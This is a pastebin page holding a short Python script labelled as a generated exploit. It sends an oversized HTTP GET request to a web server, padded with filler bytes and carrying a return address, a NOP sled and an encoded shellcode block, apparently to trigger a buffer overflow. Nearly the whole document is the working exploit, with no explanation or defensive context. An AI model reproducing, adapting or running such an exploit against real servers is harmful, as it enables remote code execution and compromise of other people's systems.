Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on Apr 24th, 2012  |  syntax: Python  |  size: 1.37 KB  |  hits: 55  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. # Exploit generated by ne011
  2. #!/usr/bin/python
  3. import socket
  4.  
  5. target_address="127.0.0.1"
  6. target_port=80
  7.  
  8. buffer = "GET "
  9. buffer +="\x41" * 1787
  10. buffer +="\x65\x82\xA5\x7C"
  11. buffer +="\x90" * 24 # n0ppy
  12. buffer +=("\xb8\xfe\x5a\x02\x03\xd9\xd0\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
  13. "\x33\x31\x47\x12\x03\x47\x12\x83\x39\x5e\xe0\xf6\x39\xb7\x6d"
  14. "\xf8\xc1\x48\x0e\x70\x24\x79\x1c\xe6\x2d\x28\x90\x6c\x63\xc1"
  15. "\x5b\x20\x97\x52\x29\xed\x98\xd3\x84\xcb\x97\xe4\x28\xd4\x7b"
  16. "\x26\x2a\xa8\x81\x7b\x8c\x91\x4a\x8e\xcd\xd6\xb6\x61\x9f\x8f"
  17. "\xbd\xd0\x30\xbb\x83\xe8\x31\x6b\x88\x51\x4a\x0e\x4e\x25\xe0"
  18. "\x11\x9e\x96\x7f\x59\x06\x9c\xd8\x7a\x37\x71\x3b\x46\x7e\xfe"
  19. "\x88\x3c\x81\xd6\xc0\xbd\xb0\x16\x8e\x83\x7d\x9b\xce\xc4\xb9"
  20. "\x44\xa5\x3e\xba\xf9\xbe\x84\xc1\x25\x4a\x19\x61\xad\xec\xf9"
  21. "\x90\x62\x6a\x89\x9e\xcf\xf8\xd5\x82\xce\x2d\x6e\xbe\x5b\xd0"
  22. "\xa1\x37\x1f\xf7\x65\x1c\xfb\x96\x3c\xf8\xaa\xa7\x5f\xa4\x13"
  23. "\x02\x2b\x46\x47\x34\x76\x0c\x96\xb4\x0c\x69\x98\xc6\x0e\xd9"
  24. "\xf1\xf7\x85\xb6\x86\x07\x4c\xf3\x79\x42\xcd\x55\x12\x0b\x87"
  25. "\xe4\x7f\xac\x7d\x2a\x86\x2f\x74\xd2\x7d\x2f\xfd\xd7\x3a\xf7"
  26. "\xed\xa5\x53\x92\x11\x1a\x53\xb7\x71\xfd\xc7\x5b\x58\x98\x6f"
  27. "\xf9\xa4") #227
  28. buffer +="\x43" * 178 #
  29. buffer += " HTTP/1.1\r\n\r\n"
  30. sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  31. connect=sock.connect((target_address,target_port))
  32. sock.send(buffer)
  33. sock.close()